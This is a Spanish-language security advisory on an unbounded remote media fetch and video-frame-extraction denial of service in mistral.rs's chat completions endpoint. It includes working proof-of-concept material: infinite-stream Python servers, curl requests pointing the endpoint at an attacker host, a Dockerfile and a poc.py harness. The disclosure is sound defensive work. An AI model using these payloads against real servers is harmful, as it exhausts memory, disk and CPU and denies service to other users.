Recuperación remota de medios sin límite y DoS por expansión de frames de vídeo

Resumen

El endpoint POST /v1/chat/completions de mistral.rs recupera en memoria del servidor URLs de medios suministradas por el atacante (imagen, audio, vídeo) sin ningún límite de bytes, y extrae cada fotograma de un vídeo suministrado cuando num_frames es None. Un atacante remoto no autenticado puede agotar la memoria del servidor, el espacio en disco y la CPU apuntando el endpoint a un servidor HTTP de streaming infinito o a un vídeo largo de alta frecuencia de imagen, causando una denegación de servicio completa. No se requieren credenciales ni configuración especial; la ruta está abierta por defecto.

Detalles

Tres sumideros independientes contribuyen a la vulnerabilidad:

1. Recuperación sin límite de imagen y audio (mistralrs-server-core/src/util.rs:59-62)

rust
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    match reqwest::get(url.clone()).await {
        Ok(http_resp) => http_resp.bytes().await?.to_vec(), // sin límite de bytes
        Err(e) => anyhow::bail!(e),
    }

bytes().await almacena en buffer el cuerpo completo de la respuesta HTTP antes de retornar. No existe verificación de Content-Length, ningún límite de streaming y ningún timeout específico para la recuperación de medios. Un servidor controlado por el atacante que nunca cierra la conexión provoca que el proceso del servidor acumule memoria indefinidamente.

2. Recuperación sin límite de vídeo (mistralrs-server-core/src/video.rs:65-69)

rust
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    let resp = reqwest::get(url.clone())
        .await
        .context(format!("Failed to fetch video: {url}"))?;
    resp.bytes().await?.to_vec() // sin límite de bytes

Patrón idéntico al de la ruta de imagen; el cuerpo completo del vídeo se almacena en un Vec<u8>.

3. Extracción de frames FFmpeg sin límite (mistralrs-server-core/src/video.rs:225-248)

rust
} else {
    let mut command = tokio::process::Command::new("ffmpeg");
    command
        .arg("-i")
        .arg(input_path.to_str().unwrap())
        .arg("-vsync")
        .arg("vfr")
        .arg(&output_pattern);

Cuando num_frames es None, no se pasa ningún argumento -frames:v a FFmpeg y se extrae cada fotograma al disco. El punto de llamada en mistralrs-server-core/src/chat_completion.rs:946 siempre pasa None:

rust
parse_video_url(&url_unparsed, None)

Un vídeo de 60 fps a 1080p de 180 segundos produce aproximadamente 10.800 archivos PNG, consumiendo decenas de gigabytes de espacio en disco y saturando la CPU.

Punto de entrada y autenticación

La ruta se registra en mistralrs-server-core/src/mistralrs_server_router_builder.rs:365-368 únicamente con middleware track_metrics, CORS y DefaultBodyLimit(50 MB). El DefaultBodyLimit se aplica solo al cuerpo JSON de la solicitud entrante, no a las llamadas posteriores reqwest::get() del lado del servidor. No hay middleware de autenticación en la configuración por defecto.

Prueba de concepto

Paso 1: Crear un vídeo largo de alta frecuencia de imagen (requiere FFmpeg en la máquina del atacante)

bash
ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \
  -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4

Paso 2: Servir el vídeo (o un stream infinito de bytes) desde un servidor HTTP controlado por el atacante

python
# Opción A: servir el archivo de vídeo
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "video/mp4")
        self.end_headers()
        with open("many_frames.mp4", "rb") as f:
            self.wfile.write(f.read())

HTTPServer(("0.0.0.0", 9001), H).serve_forever()
python
# Opción B: stream infinito de imagen (agotamiento de memoria, sin FFmpeg)
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        self.end_headers()
        chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
        while True:
            self.wfile.write(chunk)
            self.wfile.flush()
            time.sleep(0.01)

HTTPServer(("0.0.0.0", 9002), H).serve_forever()

Paso 3: Enviar la solicitud maliciosa al servidor mistral.rs

bash
# Variante de vídeo (agotamiento de disco y CPU + memoria)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}},
        {"type": "text", "text": "summarize this video"}
      ]
    }]
  }'

# Variante de imagen (agotamiento de memoria)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
        {"type": "text", "text": "describe this image"}
      ]
    }]
  }'

Observación esperada

Para la variante de vídeo: /tmp/mistralrs_video/<uuid>_frames/frame_*.png crece rápidamente; FFmpeg satura la CPU; el uso de disco aumenta hasta el agotamiento o hasta que el proceso es terminado.

Para la variante de imagen: el RSS del proceso del servidor crece continuamente hasta que el kernel lo termina por OOM (código de salida 137) o se agota la memoria.

Resultado de reproducción dinámica (Fase 2)

Un contenedor Docker ejecutando una reproducción literal de util.rs:59-62 (el patrón reqwest::get(url).bytes().await?.to_vec()) con un límite de memoria de 256 MB fue terminado por el kernel por OOM (código de salida 137) tras 1,3 segundos mientras recuperaba el stream infinito. El RSS del proceso al inicio de la recuperación era de 3.652 kB; el contenedor consumió los 256 MB completos antes de que la recuperación pudiera completarse.

Impacto

Cualquier usuario del servidor HTTP compatible con OpenAI de mistral.rs se ve afectado. Dado que el endpoint /v1/chat/completions no requiere autenticación en la configuración por defecto, una única solicitud HTTP no autenticada desde la red es suficiente para agotar toda la memoria disponible del servidor (mediante la ruta de imagen y audio), todo el espacio en disco disponible (mediante la ruta de extracción de frames de vídeo) o saturar la CPU (mediante la invocación de FFmpeg). El resultado es una denegación de servicio completa: el proceso del servidor es terminado por el OOM killer del kernel o queda sin respuesta, y ningún otro cliente puede ser atendido hasta que el proceso se reinicie.

Artefactos de reproducción

Dockerfile

dockerfile
# syntax=docker/dockerfile:1
#
# VULN-001 PoC: Unbounded Remote Media Fetch DoS
# Repository: EricLBuehler/mistral.rs
# Vulnerability: mistralrs-server-core/src/util.rs:62
#   http_resp.bytes().await?.to_vec()  -- sin límite de bytes en recuperación de medios HTTP

FROM rust:1.87-slim AS builder

WORKDIR /harness

RUN apt-get update && \
    apt-get install -y --no-install-recommends pkg-config libssl-dev && \
    rm -rf /var/lib/apt/lists/*

COPY vuln_harness/Cargo.toml Cargo.toml

RUN mkdir -p src && echo 'fn main() {}' > src/main.rs
RUN cargo fetch 2>&1

COPY vuln_harness/src/main.rs src/main.rs
RUN cargo build --release 2>&1 && \
    strip target/release/vuln_harness

FROM debian:bookworm-slim AS runtime

RUN apt-get update && \
    apt-get install -y --no-install-recommends ca-certificates python3 && \
    rm -rf /var/lib/apt/lists/*

COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness
COPY poc.py /poc.py

ENTRYPOINT ["/usr/local/bin/vuln_harness"]
CMD ["--help"]

poc.py

python
"""
VULN-001 PoC: Unbounded Remote Media Fetch DoS
Repository : EricLBuehler/mistral.rs
CWE        : CWE-400 Uncontrolled Resource Consumption
CVSS       : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Código vulnerable (mistralrs-server-core/src/util.rs:59-62):
    let bytes = if url.scheme() == "http" || url.scheme() == "https" {
        match reqwest::get(url.clone()).await {
            Ok(http_resp) => http_resp.bytes().await?.to_vec(), // SIN LÍMITE DE BYTES
            ...

Ruta de ataque en el servidor activo:
    POST /v1/chat/completions
      -> chat_completion.rs:928  parse_image_url(&url_unparsed)
      -> util.rs:59-62           reqwest::get(url).bytes().await?.to_vec()

Este PoC:
  1. Inicia un servidor HTTP malicioso en 127.0.0.1:9997 que transmite bytes infinitos.
  2. Ejecuta el binario vuln_harness (que contiene la recuperación vulnerable literal)
     dentro de un contenedor Docker limitado a MEMORY_LIMIT_MB de RAM.
  3. Observa la terminación por OOM (código de salida 137) como evidencia definitiva
     de buffering sin límite.
"""

import http.server
import subprocess
import threading
import time
import sys
import os
import socket
import json
import argparse

MALICIOUS_HOST = "127.0.0.1"
MALICIOUS_PORT = 9997
DOCKER_IMAGE    = "vuln001-poc"
MEMORY_LIMIT    = "256m"
CHUNK_SIZE      = 1024 * 1024
POC_TIMEOUT_S   = 120


class _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        self.end_headers()

        header = b"\x89PNG\r\n\x1a\n" + b"\x00" * 8
        filler = b"\x00" * (CHUNK_SIZE - len(header))
        chunk  = header + filler

        total_sent = 0
        try:
            while True:
                self.wfile.write(chunk)
                self.wfile.flush()
                total_sent += len(chunk)
                if total_sent % (64 * 1024 * 1024) == 0:
                    _log(f"[malicious-server] Sent {total_sent // (1024 * 1024)} MB")
        except (BrokenPipeError, ConnectionResetError, OSError):
            _log(
                f"[malicious-server] Connection closed after "
                f"{total_sent // (1024 * 1024)} MB sent"
            )

    def log_message(self, *_):
        pass


def _log(msg: str) -> None:
    print(msg, flush=True)


def _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool:
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        try:
            with socket.create_connection((host, port), timeout=0.5):
                return True
        except OSError:
            time.sleep(0.1)
    return False


def start_malicious_server() -> http.server.HTTPServer:
    server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)
    t = threading.Thread(target=server.serve_forever, daemon=True)
    t.start()
    return server


def run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict:
    _log("=" * 70)
    _log("VULN-001 PoC: Unbounded Remote Media Fetch DoS")
    _log("Source : mistralrs-server-core/src/util.rs:59-62")
    _log("=" * 70)

    _log(f"\n[1] Iniciando servidor HTTP malicioso en {MALICIOUS_HOST}:{MALICIOUS_PORT}")
    server = start_malicious_server()

    if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):
        _log("[!] FATAL: el servidor malicioso no arrancó a tiempo")
        return {
            "passed":   False,
            "verdict":  "FAIL",
            "exit_code": None,
            "evidence": "El servidor HTTP malicioso no pudo iniciarse",
            "stdout": "",
            "stderr": "",
        }

    target_url = f"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite"
    _log(f"[+] Servidor malicioso listo: GET {target_url}")

    run_cmd = [
        "docker", "run", "--rm",
        "--memory",      memory_limit,
        "--memory-swap", memory_limit,
        "--network",     "host",
        docker_image,
        target_url,
    ]

    _log(f"\n[2] Lanzando contenedor Docker (límite de memoria = {memory_limit})")
    _log(f"    Comando: {' '.join(run_cmd)}")

    t0 = time.monotonic()
    try:
        result = subprocess.run(
            run_cmd,
            capture_output=True,
            timeout=POC_TIMEOUT_S,
        )
    except subprocess.TimeoutExpired as exc:
        server.shutdown()
        elapsed = time.monotonic() - t0
        return {
            "passed":   False,
            "verdict":  "INCOMPLETE",
            "exit_code": None,
            "evidence": f"El contenedor agotó el tiempo ({elapsed:.0f}s) sin OOM kill",
            "stdout": (exc.stdout or b"").decode(errors="replace"),
            "stderr": (exc.stderr or b"").decode(errors="replace"),
        }

    elapsed    = time.monotonic() - t0
    exit_code  = result.returncode
    stdout_txt = result.stdout.decode(errors="replace")
    stderr_txt = result.stderr.decode(errors="replace")

    server.shutdown()

    _log(f"\n[3] Contenedor terminado tras {elapsed:.1f}s  exit_code={exit_code}")

    if exit_code == 137:
        passed   = True
        verdict  = "PASS"
        evidence = (
            f"Contenedor Docker terminado por OOM (código de salida 137 = 128+SIGKILL) "
            f"tras {elapsed:.1f}s. vuln_harness almacenó el stream HTTP infinito sin "
            f"límite de bytes, consumiendo los {memory_limit} de RAM disponibles."
        )
    elif exit_code != 0:
        passed   = True
        verdict  = "PASS"
        evidence = (
            f"El binario vulnerable terminó de forma anormal (código de salida {exit_code}) "
            f"tras {elapsed:.1f}s mientras almacenaba un stream HTTP sin límite."
        )
    else:
        passed   = False
        verdict  = "INCOMPLETE"
        evidence = (
            f"El binario terminó con código 0 tras {elapsed:.1f}s; "
            f"el límite de memoria puede no haberse aplicado."
        )

    _log(f"\n[VEREDICTO]  {verdict}")
    _log(f"[EVIDENCIA] {evidence}")

    return {
        "passed":    passed,
        "verdict":   verdict,
        "exit_code": exit_code,
        "evidence":  evidence,
        "stdout":    stdout_txt,
        "stderr":    stderr_txt,
    }


def main() -> None:
    parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
    parser.add_argument("--image",  default=DOCKER_IMAGE)
    parser.add_argument("--memory", default=MEMORY_LIMIT)
    args = parser.parse_args()

    outcome = run_poc(docker_image=args.image, memory_limit=args.memory)
    sys.exit(0 if outcome["passed"] else 1)


if __name__ == "__main__":
    main()